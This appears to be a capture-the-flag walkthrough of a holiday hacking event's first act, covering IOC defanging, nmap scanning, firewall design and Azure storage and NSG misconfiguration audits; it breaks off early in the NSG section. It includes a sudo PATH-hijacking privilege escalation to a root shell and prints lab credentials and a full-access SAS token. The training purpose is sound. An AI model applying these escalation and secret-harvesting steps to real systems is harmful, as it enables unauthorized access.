Skip to content

Act 1⚓︎

Story of Act 1:

The Counter Hack crew is in the Neighborhood festively preparing for the holidays when they are suddenly overrun by lively Gnomes in Your Home! There must have been some magic in those Gnomes, because, due to some unseen spark, some haunting hocus pocus, they have come to life and are now scurrying around the Neighborhood.

After completing the train ride, we arrive in the Neighborhood. Ten new objectives unlock for Act 1, each focused on foundational defensive and investigative security skills.

The Neighborhood map becomes available, helping orient us as challenges begin to branch out across different locations.

Its All About Defang⚓︎

Its All About Defang
Difficulty:
Location: City Hall - Inside
Topic: Threat Intel / IOC Extraction & Defanging

Find Ed Skoudis upstairs in City Hall and help him troubleshoot a clever phishing tool in his cozy office.

Overview

This challenge teaches IOC (Indicator of Compromise) extraction and defanging - essential threat intelligence skills for safely sharing malicious artifacts without triggering accidental execution.

  • Use regex patterns to extract domains, IPs, URLs, and emails from phishing content
  • Defang IOCs before reporting: replace . with [.], @ with [@], http with hxxp
  • Exclude known-good infrastructure from threat reports to avoid false positives
graph LR
    A[Phishing Email] --> B[Regex Extraction]
    B --> C[Filter Trusted Assets]
    C --> D[Defang with sed]
    D --> E[Submit Report]

We head upstairs in City Hall to find Ed Skoudis in his office.

Speaking with Ed awards our first achievement of the act along with the objective details.

Achievement

Congratulations! You spoke with Ed Skoudis!

Santa provides two hints framing the task: extract IOCs with regex, then clean and defang them properly.

Defang All The Thingz

The PTAS does a pretty good job at defanging, however, the feature we are still working on is one that defangs ALL scenarios. For now, you will need to write a custom sed command combining all defang options.

Extract IOCs

Remember, the new Phishing Threat Analysis Station (PTAS) is still under construction. Even though the regex patterns are provided, they haven't been fine tuned. Some of the matches may need to be manually removed.

Opening the challenge presents an email inside the Threat Intelligence Console.

Extract IOCs⚓︎

Step Objective: Extract IOCs

This phishing email may be connected to the mysterious Gnome activities reported throughout our neighborhood! Extracting IOCs (Indicators of Compromise) is essential to protect the Counter Hack Crew and identify the threat actors behind this campaign. Your mission:

Out first task is to extract Indicators of Compromise (IOCs) from the email using regular expressions (regex), including domains, IP addresses, URLs, and email addresses.

Domains: Domains are human-readable web addresses (like example.com) that map to IP addresses. They often indicate the source or destination of malicious activity.

  • Regex: [a-zA-Z0-9-]{4,63}\.(?!exe\b)[a-zA-Z0-9-]{2,63}(?:\.[a-zA-Z0-9-]{2,63})*
  • Result: icicleinnovations.mail dosisneighborhood.corp mail.icicleinnovations.mail core.icicleinnovations.mail

IP Addresses: IP addresses are numerical labels (like 192.168.1.1) that identify devices on a network. Malicious IPs may host command & control servers or malware.

  • Regex: ((25[0-5]|2[0-4]\d|1?\d?\d)\.){3}(25[0-5]|2[0-4]\d|1?\d?\d)
  • Result: 172.16.254.1 10.0.0.5 192.168.1.1

URLs: URLs are web addresses (like http://example.com/path) that point to specific resources. Malicious URLs often lead to phishing sites or malware downloads.

  • Regex: https?:\/\/[^\s/$.?#].[^\s]*
  • Result: https://icicleinnovations.mail/renovation-planner.exe https://icicleinnovations.mail/upload_photos

Email Addresses: Email addresses (like user@example.com) identify senders and recipients. In security analysis, they can reveal phishing campaign sources or targets.

  • Regex: [a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[A-Za-z]{2,63}
  • Result: sales@icicleinnovations.mail residents@dosisneighborhood.corp holiday2025-kitchen@dosisneighborhood.corp info@icicleinnovations.mail

The email below includes all extracted IOCs, which are shown in the highlighted sections.

Defang and Report⚓︎

Step Objective: Defang IOCs

Defanging IOCs (Indicators of Compromise) is crucial to ensure that malicious content cannot be accidentally activated. This phishing campaign may be connected to the recent Gnome activities! Your mission:

  • Replace dots/periods with [.]
  • Replace @ in email addresses with [@]
  • Replace http with hxxp in URLs
  • Replace :// with [://] in URLs
  • Submit the defanged IOCs to the Counter Hack Security Team

Out second task is to defang the collected IOCs from the first step. These can be chained in a single sed command:

s/http/hxxp/g; s/:\/\//[://]/g; s/@/[@]/g; s/\./[.]/g

Submission reveals a problem: we inadvertently included known trusted assets:

Security Reminder! 'dosisneighborhood[.]corp' is a legitimate Dosis Neighborhood asset - we shouldn't report our own infrastructure as threats!
⚠️ Network Notice! '10[.]0[.]0[.]5' belongs to our trusted network - please exclude legitimate assets from IOC reports!
⚠️ Communication Alert! 'residents[@]dosisneighborhood[.]corp' is an internal Dosis Neighborhood email address - please don't report our own staff emails as threats (unless they are confirmed compromised)!
...[snip]...

Returning to the extraction step, we exclude the known trusted indicators:

  • Domains: dosisneighborhood.corp
  • IP Addresses: 10.0.0.5
  • URLs: N/A
  • Email Addresses: residents@dosisneighborhood.corp holiday2025-kitchen@dosisneighborhood.corp

The corrected report submits successfully.

Submitting the cleaned IOCs in the Objectives tab completes the objective.

Achievement

Congratulations! You have completed the Its All About Defang challenge!

Neighborhood Watch Bypass⚓︎

Neighborhood Watch Bypass
Difficulty:
Location: Data Center (Deprecated) - Outside
Topic: Linux Privilege Escalation / Sudo & PATH Hijacking

Assist Kyle at the old data center with a fire alarm that just won't chill.

Overview

This challenge demonstrates PATH hijacking - a classic Linux privilege escalation technique where scripts using relative command paths can be exploited by placing malicious binaries earlier in the PATH.

  • Always use sudo -l to enumerate sudo permissions
  • Scripts calling commands without absolute paths are vulnerable to PATH hijacking
  • User-controlled directories in secure_path create privilege escalation opportunities
graph LR
    A[sudo -l] --> B[Find Script Permissions]
    B --> C[Analyze Script - Relative Paths]
    C --> D[Create Malicious Binary]
    D --> E[Execute via sudo]
    E --> F[Root Shell]

At the deprecated Data Center, we find Kyle Parrish waiting outside.

Speaking with Kyle earns an achievement.

Achievement

Congratulations! You spoke with Kyle Parrish!

Santa's hints point toward sudo -l enumeration combined with PATH hijacking when scripts fail to use absolute paths.

What Are My Powers?

You know, Sudo is a REALLY powerful tool. It allows you to run executables as ROOT!!! There is even a handy switch that will tell you what powers your user has.

Path Hijacking

Be careful when writing scripts that allow regular users to run them. One thing to be wary of is not using full paths to executables...these can be hijacked.

Opening the terminal reveals the challenge instructions:

Privilege Escalation via PATH Hijacking⚓︎

Starting with sudo enumeration for the chiuser account:

$ sudo -l
Matching Defaults entries for chiuser on a69b822d5d9f:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    secure_path=/home/chiuser/bin\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+="API_ENDPOINT
    API_PORT RESOURCE_ID HHCUSERNAME", env_keep+=PATH

User chiuser may run the following commands on a69b822d5d9f:
    (root) NOPASSWD: /usr/local/bin/system_status.sh

Two critical details stand out:

  • The script /usr/local/bin/system_status.sh runs as root with no password
  • secure_path includes /home/chiuser/bin, a user-controlled directory

The script calls multiple binaries (free, df, ps, etc.) without absolute paths:

$ cat /usr/local/bin/system_status.sh
#!/bin/bash
echo "=== Dosis Neighborhood Fire Alarm System Status ==="
...[snip]...
free -h
...[snip]...

This enables PATH hijacking. We place a malicious free binary in /home/chiuser/bin that spawns a root shell:

echo '/bin/sh' > /home/chiuser/bin/free
chmod 777 /home/chiuser/bin/free
sudo /usr/local/bin/system_status.sh

The script resolves free from our controlled directory, granting root access:

=== Dosis Neighborhood Fire Alarm System Status ===
Fire alarm system monitoring active...

System resources (for alarm monitoring):
# id
uid=0(root) gid=0(root) groups=0(root)

With root access, we restore the fire alarm:

# /etc/firealarm/restore_fire_alarm
...[snip]...
======================================================================
   CONGRATULATIONS! You've successfully restored fire alarm system
   administrative control and protected the Dosis neighborhood!
======================================================================

This completes the objective and we are awarded an achievement.

Achievement

Congratulations! You have completed the Neighborhood Watch Bypass challenge!

Santa's Gift-Tracking Service Port Mystery⚓︎

Santa's Gift-Tracking Service Port Mystery
Difficulty:
Location: Modern Scandinavian Condo - Outside
Topic: Service Discovery / Local Port Enumeration (ss, curl)

Chat with Yori near the apartment building about Santa's mysterious gift tracker and unravel the holiday mystery.

Overview

This challenge introduces basic service discovery using command-line tools to identify and interact with locally running services.

  • Use ss -tlnp to enumerate listening TCP ports on a system
  • curl can interact with HTTP services directly from the command line
  • Services often run on non-standard ports, requiring enumeration to discover them
graph LR
    A[ss -tlnp] --> B[Find Port 12321]
    B --> C[curl localhost:12321]
    C --> D[Service Response]

At the Modern Scandinavian Condo, we meet Yori Kvitchko outside.

Speaking with Yori earns an achievement.

Achievement

Congratulations! You spoke with Yori Kvitchko!

Santa's hints suggest checking listening services with ss, then connecting via curl instead of a browser.

Who is Netstat?

Back in my day...we just used Netstat. I hear ss is the new kid on the block. A lot of the parameters are the same too...such as listing only the ports that are currently LISTENING on the system.

Web Requests without a Browser??

Since we don't have a web browser to connect to this HTTP service...There is another common tool that you can use from the cli.

Opening the terminal presents the challenge instructions:

Identifying the Listening Port⚓︎

The santa_tracker service listening port is revealed via ss:

$ ss -tlnp
State   Recv-Q   Send-Q   Local Address:Port   Peer Address:Port   Process
LISTEN  0        5        0.0.0.0:12321        0.0.0.0:*

Verifying the Service⚓︎

With the port identified, we connect locally using curl:

$ curl http://127.0.0.1:12321

The JSON response confirms the tracker is running with Santa's location and delivery stats.

{
  "status": "success",
  "message": "Ho Ho Ho! Santa Tracker Successfully Connected!",
  "santa_tracking_data": {
    "timestamp": "2025-12-11 18:22:17",
    "location": {"name": "Evergreen Estates", ...},
    "delivery_stats": {"gifts_delivered": 5043136, ...},
    ...[snip]...
    "special_note": "Thanks to your help finding the correct port..."
  }
}

This completes the objective and we are awarded an achievement.

Achievement

Congratulations! You have completed the Santa's Gift-Tracking Service Port Mystery challenge!

Visual Networking Thinger⚓︎

Visual Networking Thinger
Difficulty:
Location: Frozen Pond
Topic: Networking Fundamentals (DNS, TCP, HTTP, TLS, HTTPS)

Skate over to Jared at the frozen pond for some network magic and learn the ropes by the hockey rink.

Overview

This interactive tutorial walks through the complete lifecycle of a secure web request: DNS resolution, TCP handshake, TLS negotiation, and HTTPS communication.

  • DNS A records resolve hostnames to IPv4 addresses (port 53)
  • TCP three-way handshake: SYN, SYN-ACK, ACK
  • TLS handshake establishes encrypted tunnel before HTTP traffic
  • HTTPS = HTTP over TLS-encrypted connection
graph LR
    A[DNS Lookup] --> B[TCP Handshake]
    B --> C[HTTP Request]
    C --> D[TLS Handshake]
    D --> E[HTTPS Request]

At the frozen pond, we find Jared Folkins by the hockey rink.

Speaking with Jared awards an achievement.

Achievement

Congratulations! You spoke with Jared Folkins!

Santa notes that the terminal provides built-in guidance:

Visual Networking Thinger

This terminal has built-in hints!

When opening the challenge, we are presented with an interactive Holiday Network exercise consisting of five progressive steps.

DNS Lookup Challenge⚓︎

Challenge 1: DNS Lookup

Step one is to find the IP address of visual-networking.holidayhackchallenge.com. Let's use an IPv4 DNS request!

The first step is resolving the IP address for visual-networking.holidayhackchallenge.com. Since we need an IPv4 address, this requires a DNS A record lookup over port 53.

Success! Correctly resolved DNS A record
Request: A visual-networking.holidayhackchallenge.com via port 53
Response: A record with value 34.160.145.134
✓ DNS Challenge Complete!

TCP Three-Way Handshake⚓︎

Challenge 2: TCP 3-Way Handshake

Now that we have the IP address of the web server, we need a TCP connection. Drag and drop TCP flags to create TCP 3-way handshake between client and server.

Next, we establish a reliable transport connection using the standard three-way handshake: SYN, SYN-ACK, ACK.

✓ TCP Handshake Complete!

HTTP GET Request⚓︎

Challenge 3: HTTP GET Request

Now that we have established a TCP connection, let's create an HTTP GET request to retrieve the web page.

With a TCP connection in place, we craft a valid HTTP GET request with Host and User-Agent headers.

Success! Valid HTTP GET request sent.
Request: GET / HTTP/1.1
Host: visual-networking.holidayhackchallenge.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
✓ HTTP Challenge Complete!

TLS Handshake⚓︎

Challenge 4: TLS Handshake

Great job with HTTP! Now let's set up a secure connection using TLS. Drag and drop the TLS messages to create the correct handshake sequence.

To secure the communication channel, we establish a TLS session through the Client Hello, Server Hello, Certificate exchange, and key negotiation process.

Success! You've correctly established a secure TLS connection.
The TLS handshake creates a secure encrypted tunnel for HTTP traffic:
1. Client Hello: Client initiates secure connection with supported cipher suites
2. Server Hello: Server responds with selected cipher suite
3. Certificate: Server sends its SSL/TLS certificate
4. Client Key Exchange: Client sends parameters for shared secret calculation
5. Server Change Cipher Spec: Server indicates messages will be encrypted
6. Finished: Server confirms handshake completion
✓ TLS Challenge Complete!

HTTPS GET Request⚓︎

Challenge 5: HTTPS GET Request

Now that we've established a secure TLS connection, let's make an HTTPS request to retrieve the website securely.

Finally, we repeat the web request over the encrypted TLS tunnel, resulting in a secure HTTPS connection.

Success! Valid HTTPS GET request sent.
Request: GET / HTTP/1.1
Host: visual-networking.holidayhackchallenge.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
✓ HTTPS Challenge Complete!

With all five steps complete, we have successfully demonstrated the full process of resolving a hostname, establishing a reliable connection, securing it with TLS, and retrieving web content safely.

🎅 HO HO HO! You've mastered networking! 🎅
All challenges completed with holiday cheer!

This completes the objective and we are awarded an achievement.

Achievement

Congratulations! You have completed the Visual Networking Thinger challenge!

Visual Firewall Thinger⚓︎

Visual Firewall Thinger
Difficulty:
Location: Grand Hotel - NetWars Room
Topic: Network Segmentation / Firewall Rule Design (Least Privilege)

Find Elgee in the big hotel for a firewall frolic and some techy fun.

Overview

This challenge teaches network segmentation and firewall rule design following the principle of least privilege - only permitting the minimum required traffic between zones.

  • DMZ should only expose HTTP/HTTPS to Internet, limited protocols to Internal
  • Internal networks need controlled outbound access to cloud services
  • Default deny with explicit allow rules follows least privilege
graph LR
    A[Internet] -->|HTTP/HTTPS| B[DMZ]
    B -->|HTTP/HTTPS/SSH| C[Internal]
    C -->|HTTP/HTTPS/SSH/SMTP| D[Cloud]
    C -->|All| E[Workstations]

Inside the Grand Hotel NetWars Room, we meet Chris Elgee.

Speaking with Chris awards an achievement.

Achievement

Congratulations! You spoke with Chris Elgee!

Santa mentions that the terminal provides guidance throughout the exercise:

Visual Firewall Thinger

This terminal has built-in hints!

Opening the challenge presents a Holiday Firewall Simulator, which visually represents traffic flowing between different network zones.

The environment includes the following segments:

  • Internet (untrusted)
  • DMZ
  • Internal Network
  • Cloud Services
  • Workstations

The goal is applying firewall rules that permit only the minimum required traffic between zones, following the principle of least privilege. The Internet zone remains deny all by default.

DMZ Configuration⚓︎

The DMZ hosts externally accessible services and acts as a buffer between the Internet and the internal network. We configure the following rules:

  • DMZ to Internal: Allow HTTP, HTTPS, and SSH
  • Internet to DMZ: Allow HTTP and HTTPS only

This allows public web access to DMZ services while tightly controlling access into the internal network.

Internal Network Configuration⚓︎

The internal network requires controlled outbound access while maintaining flexibility for internal systems. We configure the following rules:

  • Internal to Cloud Services: Allow HTTP, HTTPS, SSH, and SMTP
  • Internal to Workstations: Allow all traffic

These rules enable common business functions such as web access, remote administration, and email delivery without exposing unnecessary services.

With all required rules in place, the firewall configuration objectives are met.

This completes the objective and we are awarded an achievement.

Achievement

Congratulations! You have completed the Visual Firewall Thinger challenge!

Intro to Nmap⚓︎

Intro to Nmap
Difficulty:
Location: Grand Hotel - East Parking Lot
Topic: Reconnaissance / Port Scanning & Service Enumeration (Nmap, Ncat)

Meet Eric in the hotel parking lot for Nmap know-how and scanning secrets. Help him connect to the wardriving rig on his motorcycle!

Overview

This challenge introduces Nmap for port scanning and service enumeration, plus Ncat for direct service interaction - fundamental reconnaissance skills.

  • Default nmap scans top 1000 ports; use -p- for all ports
  • Use -sV for service version detection
  • Ncat provides raw TCP connections for banner grabbing
graph LR
    A[Default Scan] --> B[Full Port Scan -p-]
    B --> C[IP Range Scan]
    C --> D[Version Detection -sV]
    D --> E[Ncat Banner Grab]

We head to the east parking lot outside the Grand Hotel to meet Eric Pursley.

Speaking with Eric awards an achievement.

Achievement

Congratulations! You spoke with Eric Pursley!

Santa provides helpful references for the tools used in this challenge:

Nmap Documentation

Nmap is pretty straightforward to use for basic port scans. Check out its documentation!

Ncat Documentation

You may also want to check out the Ncat Guide.

Interacting with the Intro to Nmap motorcycle opens up a terminal that presents the task instructions:

Default Port Scan⚓︎

Terminal

When run without any options, nmap performs a TCP port scan of the top 1000 ports. Run a default nmap scan of 127.0.12.25 and see which port is open.

Hint: Simply run: nmap 127.0.12.25

$ nmap 127.0.12.25
...[snip]...
Nmap scan report for 127.0.12.25
Host is up (0.000097s latency).
PORT     STATE SERVICE
8080/tcp open  http-proxy
...[snip]...

This reveals an HTTP service running on TCP port 8080.

Full TCP Port Scan⚓︎

Terminal

Sometimes the top 1000 ports are not enough. Run an nmap scan of all TCP ports on 127.0.12.25 and see which port is open.

Hint: Use nmap's -p option to specify a port number or range, or simply use -p- to specify all ports.

$ nmap -p- 127.0.12.25
...[snip]...
Nmap scan report for 127.0.12.25
Host is up (0.000071s latency).
PORT      STATE SERVICE
24601/tcp open  unknown
...[snip]...

This reveals an additional service listening on TCP port 24601.

Scanning an IP Range⚓︎

Terminal

Nmap can also scan a range of IP addresses. Scan the range 127.0.12.20 - 127.0.12.28 and see which has a port open.

Hint: Nmap can specify a range using a hyphen, such as: nmap 127.0.0.1-5.

$ nmap -p- 127.0.12.20-28
...[snip]...
Nmap scan report for 127.0.12.23
Host is up (0.00026s latency).
PORT     STATE SERVICE
8080/tcp open  http-proxy
...[snip]...

The results show 127.0.12.23 as the only host in the range with an open port (8080).

Service Version Detection⚓︎

Terminal

nmap has a version detection engine, to help determine what services are running on a given port. What service is running on 127.0.12.25 TCP port 8080?

Hint: Use -sV to activate service detection.

$ nmap -p8080 -sV 127.0.12.25
...[snip]...
Nmap scan report for 127.0.12.25
Host is up (0.000071s latency).
PORT     STATE SERVICE VERSION
8080/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.12)
...[snip]...

This confirms the service is a Python-based HTTP server.

Interacting with a Service Using Ncat⚓︎

Terminal

Sometimes you just want to interact with a port, which is a perfect job for Ncat! Use the ncat tool to connect to TCP port 24601 on 127.0.12.25 and view the banner returned.

Run: ncat 127.0.12.25 24601

$ ncat 127.0.12.25 24601
Welcome to the WarDriver 9000!

This completes the objective and we are awarded an achievement.

Achievement

Congratulations! You have completed the Intro to Nmap challenge!

Blob Storage Challenge in the Neighborhood⚓︎

Blob Storage Challenge in the Neighborhood
Difficulty:
Location: Pond
Topic: Cloud Security / Azure Blob Storage Public Access Exposure

Help the Goose Grace near the pond find which Azure Storage account has been misconfigured to allow public blob access by analyzing the export file.

Overview

This challenge demonstrates how Azure Storage misconfigurations expose sensitive data. The allowBlobPublicAccess setting, when true, allows anonymous access to blob containers.

  • az storage account list reveals public access settings
  • allowBlobPublicAccess: true is a dangerous misconfiguration
  • Containers with publicAccess: Blob expose contents to the internet
graph LR
    A[az account show] --> B[az storage account list]
    B --> C[Find allowBlobPublicAccess:true]
    C --> D[List Containers]
    D --> E[Download Exposed Blobs]

We head to the south side of the pond to meet Goose Grace.

Santa provides a hint indicating that the terminal includes guidance:

Blob Storage Challenge in the Neighborhood

This terminal has built-in hints!

Opening the Storage Secrets terminal launches a terminal session with the Azure CLI already configured.

Azure CLI Introduction⚓︎

Terminal

You may not know this but the Azure cli help messages are very easy to access. First, try typing: az help | less

The terminal suggests starting by reviewing the Azure CLI help output:

$ az help | less
Group
    az

Subgroups:
    account                     : Manage Azure subscription information.
    acr                         : Manage private registries with Azure Container Registries.
    ad                          : Manage Azure Active Directory Graph entities needed for Role Based Access Control.
...[snip]...
Terminal

Next, you've already been configured with credentials. 🔑

$ az account show | less

  • Pipe the output to | less so you can scroll.

  • Press q to exit less.

We confirm the session is already authenticated and identify the active subscription:

$ az account show | less
{
  "environmentName": "AzureCloud",
  "id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
  "isDefault": true,
  "name": "theneighborhood-sub",
  "state": "Enabled",
  "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
  "user": {
    "name": "theneighborhood@theneighborhood.invalid",
    "type": "user"
  }
}

Enumerating Azure Storage Accounts⚓︎

Terminal

Now that you've run a few commands, Let's take a look at some Azure storage accounts.

Try: az storage account list | less

For more information: https://learn.microsoft.com/en-us/cli/azure/storage/account?view=azure-cli-latest

We list all storage accounts in the subscription:

$ az storage account list | less
[
  {
    ...[snip]...
    "name": "neighborhood1",
    "properties": {
      ...[snip]...
      "allowBlobPublicAccess": false,
      ...[snip]...
  },
  {
    ...[snip]...
    "name": "neighborhood2",
    "properties": {
      ...[snip]...
      "allowBlobPublicAccess": true,
      ...[snip]...
    }
  },
...[snip]...
]

Reviewing the output, one account stands out: neighborhood2 has "allowBlobPublicAccess": true. This setting allows anonymous users to access blobs when a container permits public access-an unsafe configuration in most production environments.

Inspecting the Misconfigured Storage Account⚓︎

Terminal

hmm... one of these looks suspicious 🚨, i think there may be a misconfiguration here somewhere.

Try showing the account that has a common misconfiguration: az storage account show --name xxxxxxxxxx | less

We inspect the suspicious storage account directly:

$ az storage account show --name neighborhood2 | less
{
    ...[snip]..
    "name": "neighborhood2",
    "properties": {
      ...[snip]..
      "allowBlobPublicAccess": true,
      ...[snip]..
    }
  }

Next, we enumerate the containers associated with the misconfigured storage account:

Terminal

Now we need to list containers in neighborhood2. After running the command what's interesting in the list?

For more information: https://learn.microsoft.com/en-us/cli/azure/storage/container?view=azure-cli-latest#az-storage-container-list

$ az storage container list --account-name neighborhood2 --auth-mode login | less
[
  {
    "name": "public",
    "properties": {
      "lastModified": "2024-01-15T09:00:00Z",
      "publicAccess": "Blob"
    }
  },
  {
    "name": "private",
    "properties": {
      "lastModified": "2024-02-05T11:12:00Z",
      "publicAccess": null
    }
  }
]

The public container has "publicAccess": "Blob", indicating the blobs within are accessible to anyone on the internet anonymously.

Enumerating and Accessing Public Blobs⚓︎

Terminal

Let's take a look at the blob list in the public container for neighborhood2.

For more information: https://learn.microsoft.com/en-us/cli/azure/storage/blob?view=azure-cli-latest#az-storage-blob-list

We list the blobs contained in the public container:

$ az storage blob list --account-name neighborhood2 --container-name public | less
[
  {
    "name": "refrigerator_inventory.pdf",
    ...[snip]...
  },
  {
    "name": "admin_credentials.txt",
    ...[snip]...
  },
  {
    "name": "network_config.json",
    ...[snip]...
  }
]
Terminal

Try downloading and viewing the blob file named admin_credentials.txt from the public container.

Hint: --file /dev/stdout should print in the terminal. Don't forget to use | less!

We download and view the contents of the sensitive admin_credentials.txt blob.

$ az storage blob download --account-name neighborhood2 --container-name public --name admin_credentials.txt --file /dev/stdout | less

The output reveals plaintext administrative credentials exposed via the publicly accessible blob container.

# You have discovered an Azure Storage account with "allowBlobPublicAccess": true.
# This misconfiguration allows ANYONE on the internet to view and download files
# from the blob container without authentication.

# Public blob access is highly insecure when sensitive data (like admin credentials)
# is stored in these containers. Always disable public access unless absolutely required.

Azure Portal Credentials
User: azureadmin
Pass: AzUR3!P@ssw0rd#2025
...[snip]...
Terminal

🎊 Great, you found the misconfiguration allowing public access to sensitive information!

✅ Challenge Complete! To finish, type: finish

$ finish
Completing challenge...

This completes the objective and we are awarded an achievement.

Achievement

Congratulations! You have completed the Storage Secrets challenge!

Spare Key⚓︎

Spare Key
Difficulty:
Location: Pond
Topic: Cloud Security / Azure Storage Static Website & Secrets Exposure

Help Goose Barry near the pond identify which identity has been granted excessive Owner permissions at the subscription level, violating the principle of least privilege.

Overview

This challenge demonstrates how Infrastructure-as-Code files accidentally uploaded to static websites leak secrets such as SAS tokens.

  • Azure static websites use the $web container
  • IaC files (terraform.tfvars) should never be publicly accessible
  • Long-lived SAS tokens (expiry 2100) are especially dangerous
graph LR
    A[List Storage Accounts] --> B[Check Static Website]
    B --> C[List $web Container]
    C --> D[Find terraform.tfvars]
    D --> E[Extract SAS Token]

We head to the south side of the pond to meet Goose Barry.

Santa provides a hint indicating that the terminal includes guidance:

Spare Key

This terminal has built-in hints!

Opening the Spare Key terminal launches a terminal session with the Azure CLI already configured.

Enumerating Azure Resources⚓︎

Terminal

Let's start by listing all resource groups

$ az group list -o table

This will show all resource groups in a readable table format.

We begin by enumerating all resource groups in the subscription:

$ az group list -o table
Name                 Location    ProvisioningState
-------------------  ----------  -------------------
rg-the-neighborhood  eastus      Succeeded
rg-hoa-maintenance   eastus      Succeeded
rg-hoa-clubhouse     eastus      Succeeded
rg-hoa-security      eastus      Succeeded
rg-hoa-landscaping   eastus      Succeeded
Terminal

Now let's find storage accounts in the neighborhood resource group 📦

$ az storage account list --resource-group rg-the-neighborhood -o table

This shows what storage accounts exist and their types.

Next, we look for storage accounts associated with the neighborhood resources:

$ az storage account list --resource-group rg-the-neighborhood -o table
Name             Kind         Location    ResourceGroup        ProvisioningState
---------------  -----------  ----------  -------------------  -------------------
neighborhoodhoa  StorageV2    eastus      rg-the-neighborhood  Succeeded
hoamaintenance   StorageV2    eastus      rg-hoa-maintenance   Succeeded
hoaclubhouse     StorageV2    eastus      rg-hoa-clubhouse     Succeeded
hoasecurity      BlobStorage  eastus      rg-hoa-security      Succeeded
hoalandscaping   StorageV2    eastus      rg-hoa-landscaping   Succeeded

Identifying a Static Website⚓︎

Terminal

Someone mentioned there was a website in here.

maybe a static website?

try: $ az storage blob service-properties show --account-name <insert_account_name> --auth-mode login

One storage account appears to be hosting a website, suggesting the use of Azure static website hosting. To confirm this, we inspect the blob service properties:

$ az storage blob service-properties show --account-name neighborhoodhoa --auth-mode login
{
  "enabled": true,
  "errorDocument404Path": "404.html",
  "indexDocument": "index.html"
}

Inspecting Storage Containers⚓︎

Terminal

Let's see what 📦 containers exist in the storage account

💡 Hint: You will need to use az storage container list

We want to list the container and its public access levels.

With static website hosting enabled, we enumerate the containers within this storage account:

$ az storage container list --account-name neighborhoodhoa --auth-mode login
[
  {
    "name": "$web",
    "properties": {
      "lastModified": "2025-09-20T10:30:00Z",
      "publicAccess": null
    }
  },
  {
    "name": "public",
    "properties": {
      "lastModified": "2025-09-15T14:20:00Z",
      "publicAccess": "Blob"
    }
  }
]

Inspecting the Static Website Container⚓︎

Terminal

Examine what files are in the static website container

💡 hint: when using --container-name you might need <name>

Look 👀 for any files that shouldn't be publicly accessible!

The $web container hosts static websites. We enumerate its contents to find files that should not be publicly accessible.

$ az storage blob list --account-name neighborhoodhoa --auth-mode login --container-name '$web'
[
  {
    "name": "index.html",
    "properties": {
      "contentLength": 512,
      "contentType": "text/html",
      "metadata": {
        "source": "hoa-website"
      }
    }
  },
  {
    "name": "about.html",
    "properties": {
      "contentLength": 384,
      "contentType": "text/html",
      "metadata": {
        "source": "hoa-website"
      }
    }
  },
  {
    "name": "iac/terraform.tfvars",
    "properties": {
      "contentLength": 1024,
      "contentType": "text/plain",
      "metadata": {
        "WARNING": "LEAKED_SECRETS"
      }
    }
  }
]

Exposing the Leak⚓︎

Terminal

Take a look at the files here, what stands out?

Try examining a suspect file 🕵️:

💡 hint: --file /dev/stdout | less will print to your terminal 💻.

One file stands out: iac/terraform.tfvars. Configuration files should never be exposed through public static websites.

$ az storage blob download --account-name neighborhoodhoa --auth-mode login --container-name '$web' --name iac/terraform.tfvars --file /dev/stdout | less
# Terraform Variables for HOA Website Deployment
...[snip]...
# TEMPORARY: Direct storage access for migration script
# WARNING: Remove after data migration to new storage account
# This SAS token provides full access - HIGHLY SENSITIVE!
migration_sas_token = "sv=2023-11-03&ss=b&srt=co&sp=rlacwdx&se=2100-01-01T00:00:00Z&spr=https&sig=1djO1Q%2Bv0wIh7mYi3n%2F7r1d%2F9u9H%2F5%2BQxw8o2i9QMQc%3D"
...[snip]...

The file contains a long-lived SAS token (se=2100-01-01) granting broad permissions. Exposing this token publicly effectively provides unrestricted access to the associated storage resources.

Terminal

You found the leak! A migration_sas_token within /iac/terraform.tfvars exposed a long-lived SAS token (expires 2100-01-01) 🔑

⚠️ Accidentally uploading config files to $web can leak secrets. 🔐

Challenge Complete! To finish, type: finish

$ finish
Completing challenge...

This completes the objective and we are awarded an achievement.

Achievement

Congratulations! You have completed the Too Powerful to Fail challenge!

The Open Door⚓︎

The Open Door
Difficulty:
Location: Grand Hotel - East Parking Lot
Topic: Cloud Network Security / Azure NSG Misconfiguration

Help Goose Lucas in the hotel parking lot find the dangerously misconfigured Network Security Group rule that's allowing unrestricted internet access to sensitive ports like RDP or SSH.

Overview

This challenge identifies dangerous Azure NSG rules exposing sensitive management ports (RDP/SSH) to the public internet.

  • NSG rules with sourceAddressPrefix: 0.0.0.0/0 allow traffic from anywhere
  • RDP (3389) and SSH (22) should never be exposed to the internet
  • Use az network nsg rule list to audit security rules
graph LR
    A[List NSGs] --> B[Enumerate Rules]
    B --> C[Find 0.0.0.0/0 Source]
    C --> D[Identify RDP Exposure]

We head outside of the Grand Hotel Lobby to the east parking lot to meet Goose Lucas.

Santa provides a hint indicating that the terminal includes guidance:

The Open Door

This terminal has built-in hints!

Opening the The Open Door terminal launches a terminal session with the Azure CLI already configured.

Reviewing Azure Output Formats⚓︎

Terminal

Welcome back! Let's start by exploring output formats.

First, let's see resource groups in JSON format (the default): $ az group list

JSON format shows detailed structured data.

We begin by listing the resource groups using the default JSON output:

$ az group list
[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1",
    "location": "eastus",
    "managedBy": null,
    "name": "theneighborhood-rg1",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2",
    "location": "westus",
    "managedBy": null,
    "name": "theneighborhood-rg2",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  }
]
Terminal

Great! Now let's see the same data in table format for better readability 👀

$ az group list -o table

Notice how -o table changes the output format completely!

Both commands show the same data, just formatted differently.

Re-running the command with table output makes the information easier to scan:

$ az group list -o table
